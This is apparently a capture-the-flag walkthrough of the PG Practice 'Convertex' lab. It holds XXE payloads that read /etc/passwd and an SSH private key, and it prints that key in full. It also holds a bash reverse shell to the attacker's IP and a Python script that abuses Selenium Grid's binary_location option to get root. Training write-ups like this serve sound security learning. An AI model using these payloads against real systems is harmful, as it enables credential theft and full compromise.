Summary #
On port 5000 there is a web application called XML to CSV Converter
which has an XXE vulnerability. Using this vulnerability we find the SSH private key of the gustavo
user and provides us with initial access. Once on the target we see a selenium
server running. Using chisel
we forward port 4444 to our localhost and write a Python script to exploit this server to escalate our privileges to the root
user.
Specifications #
- Name: CONVERTEX
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux Convertex 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.150.18
- OFFSEC provided credentials: None
- HASH:
local.txt
:51ac0dd92dfdbf29056845b21eb1c01c
- HASH:
proof.txt
:b11e21f7e45f4be17b308cb332b41125
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir convertex && cd convertex && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 16 19:13 .
drwxrwxr-x 69 kali kali 4096 Sep 16 19:13 ..
drwxrwxr-x 2 kali kali 4096 Sep 16 19:13 enum
drwxrwxr-x 2 kali kali 4096 Sep 16 19:13 exploits
drwxrwxr-x 2 kali kali 4096 Sep 16 19:13 files
drwxrwxr-x 2 kali kali 4096 Sep 16 19:13 tools
drwxrwxr-x 2 kali kali 4096 Sep 16 19:13 uploads
## set bash variable
ip=192.168.150.18
## ping target to check if it's online
ping $ip
PING 192.168.150.18 (192.168.150.18) 56(84) bytes of data.
64 bytes from 192.168.150.18: icmp_seq=1 ttl=61 time=20.7 ms
64 bytes from 192.168.150.18: icmp_seq=2 ttl=61 time=22.6 ms
^C
--- 192.168.150.18 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 20.746/21.665/22.585/0.919 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Because guessing isn't hacking.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.150.18:22
Open 192.168.150.18:5000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 19:14 CEST
Initiating Ping Scan at 19:14
Scanning 192.168.150.18 [4 ports]
Completed Ping Scan at 19:14, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:14
Completed Parallel DNS resolution of 1 host. at 19:14, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:14
Scanning 192.168.150.18 [2 ports]
Discovered open port 22/tcp on 192.168.150.18
Discovered open port 5000/tcp on 192.168.150.18
Completed SYN Stealth Scan at 19:14, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.150.18
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-16 19:14:07 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
5000/tcp open upnp syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
5000/tcp open upnp syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,5000
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,5000 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
| 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
5000/tcp open http syn-ack ttl 61 Werkzeug httpd 2.3.0 (Python 3.8.10)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/2.3.0 Python/3.8.10
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
5000/tcp open http syn-ack ttl 61 Werkzeug httpd 2.3.0 (Python 3.8.10)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/2.3.0 Python/3.8.10
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
On port 5000 there is a web application called XML to CSV Converter
.

When we test we application for XXE and paste in this default XML code and click Convert
, we indeed get a download link. Once we downloaded the CSV file we get the content of the /etc/passwd
file. There is a gustavo
user on the target. Lets’ see if there is a /home/gustavo/.ssh/id_rsa
or a /home/gustavo/.ssh/config
file (https://www.ssh.com/academy/ssh/config). There is a /home/gustavo/.ssh/config
file. In this file is the location of the identityfile: IdentityFile /opt/keys/gustavo
. Knowing this, let’s download this file. This is indeed an SSH private key. Trying to use this key to log into the target via SSH allows us to get initial access as the gustavo
user.
## XML text to test for XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>&xxe;</test>
## content `/etc/passwd`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
gustavo:x:1000:1000::/home/gustavo:/bin/bash
## XML to download `/home/gustavo/.ssh/config`
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/gustavo/.ssh/config" >]>
<test>&xxe;</test>
## content `/home/gustavo/.ssh/config` file
Host *
IdentityFile /opt/keys/gustavo
## XML to download `/opt/keys/gustavo`
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///opt/keys/gustavo" >]>
<test>&xxe;</test>
## content `/opt/keys/gustavo` file
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
## change directory
cd files
## create a file called `gustavo.key` with this content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
## set permissions on SSH private key
chmod 600 gustavo.key
## use the SSH private to login via SSH
ssh -i gustavo.key gustavo@$ip
The authenticity of host '192.168.150.18 (192.168.150.18)' can't be established.
ED25519 key fingerprint is SHA256:bdEzYRpG4k3NkIr03/E2H6ltJRUD52Zi5YA0fkNr/nY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:34: [hashed name]
~/.ssh/known_hosts:47: [hashed name]
~/.ssh/known_hosts:48: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.150.18' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 16 Sep 2025 06:36:01 PM UTC
System load: 0.06 Processes: 229
Usage of /: 56.7% of 9.75GB Users logged in: 0
Memory usage: 20% IPv4 address for ens160: 192.168.150.18
Swap usage: 0%
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
gustavo@Convertex:~$
## print `local.txt`
gustavo@Convertex:~$ cat local.txt
51ac0dd92dfdbf29056845b21eb1c01c
Privilege Escalation #
Once on the target we see in the running processes that there is a selenium
server running on probably localhost port 4444.
gustavo@Convertex:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
<SNIP>
root 868 850 0 19:30 ? 00:00:21 java -jar selenium-server-4.4.0.jar standalone --host 127.0.0.1
<SNIP>
gustavo@Convertex:~$ netstat -antup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 832/python3
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 1 192.168.150.18:44778 91.189.91.48:443 SYN_SENT -
tcp 0 360 192.168.150.18:22 192.168.45.229:58630 ESTABLISHED -
tcp6 0 0 127.0.0.1:4444 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
Let’s use chisel
to port forward 4444 to our local port 4444. First we need to download chisel
: https://github.com/jpillora/chisel/releases and copy it to the uploads
directory and upload it to the target. Then run the chisel
server and connect to it from the target as the chisel
client.
## change directory
cd uploads
## move file to `uploads` directory
mv ~/Downloads/chisel_1.10.1_linux_amd64.gz .
## gunzip this archive
gunzip chisel_1.10.1_linux_amd64.gz
## rename to `chisel`
mv chisel_1.10.1_linux_amd64 chisel
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.229
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## run chisel server on port 9000
./chisel server --reverse -p 9000
2025/09/16 22:47:13 server: Reverse tunnelling enabled
2025/09/16 22:47:13 server: Fingerprint /v3GLwYp7EYmSWx70xc8aAmpD/HlNKxnHBAwmp6w/O4=
2025/09/16 22:47:13 server: Listening on http://0.0.0.0:9000
## on the target:
## download chisel
gustavo@Convertex:~$ wget http://192.168.45.229/chisel --2025-09-16 20:43:37-- http://192.168.45.229/chisel Connecting to 192.168.45.229:80... connected.
HTTP request sent, awaiting response... 200 OK Length: 9371800 (8.9M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[===================================================================>] 8.94M 7.01MB/s in 1.3s
2025-09-16 20:43:38 (7.01 MB/s) - ‘chisel’ saved [9371800/9371800]
## set execution bit on `chisel`
gustavo@Convertex:~$ chmod +x chisel
## run chisel client and send to background
gustavo@Convertex:~$ ./chisel client 192.168.45.229:9000 R:4444:127.0.0.1:4444 &
[1] 3330
Now that we have the port forwarded we can browse to this URL: (http://localhost:4444/) and see the Selenium Grid
. So we know it’s working.

To exploit this selenium
server, we can create a payload that needs to be executed once we run a Python script that connects to the selenium server on port 4444. So, first we need to create a bash script with the reverse shell command. Then we need to setup a Python virtual environment and activate it, create the Python script, setup a listener and run the script to escalate our privileges to the root
user.
## get the local I address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.229
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## on target
## create a `shell.sh` file with the reverse shell command
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.45.229/9001 0>&1' > shell.sh
## set the execution bit
chmod +x shell.sh
## locally:
## create file `exploit.py` with this content:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
hub_url = "http://127.0.0.1:4444"
payload = "/home/gustavo/shell.sh"
options = Options()
options.binary_location = payload
driver = webdriver.Remote(
command_executor=hub_url,
options=options
)
driver.get('http://example.com')
driver.quit()
## create a python virtual environment
python3 -m venv venv
## activate the virtual environment
source venv/bin/activate
## install selenium
pip3 install selenium
## run the exploit
python3 exploit.py
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
^[[Aconnect to [192.168.45.229] from (UNKNOWN) [192.168.150.18] 58568
bash: cannot set terminal process group (850): Inappropriate ioctl for device
bash: no job control in this shell
root@Convertex:~#
## print `proof.txt`
root@Convertex:~# cat proof.txt
b11e21f7e45f4be17b308cb332b41125
References #
[+] https://www.ssh.com/academy/ssh/config
[+] https://github.com/jpillora/chisel/releases